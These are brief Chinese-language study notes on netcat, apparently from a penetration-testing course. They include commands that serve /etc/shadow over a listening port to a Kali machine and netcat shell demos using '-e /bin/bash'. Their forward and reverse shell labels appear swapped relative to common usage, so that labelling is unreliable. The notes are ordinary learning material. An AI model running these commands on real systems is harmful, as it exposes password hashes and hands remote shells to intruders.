扫描工具-nc(netcat):瑞士军刀

可以使用tcp,udp

标准输入：stdin 标准输出：stdout 标准错误输出：stderror

原理：从网络的一端读入数据，然后输出到网络的另一端

linux三剑客：grep awk sed

查看命令的绝对路径：which nc

查看这个文件（可以是执行文件）是由哪个软件安装 的：rpm -qf /usr/bin/nc

密码为空的用户名默认为锁定状态

查看用户文件：cat /etc/passwd

查看用户密码文件：cat /etc/shadow

传输文件内容（centos）：nc -lvp 9999 < /etc/shadow

在kali上追踪：nc 目标IP地址 端口号

shell分类：sh bash

正向shell演示

服务端：nc -lvp 端口

客户端：nc 服务端IP 端口 -e /bin/bash

反向shell演示

服务端：nc -lvp 端口 -e /bin/bash

客户端：nc 服务端IP 端口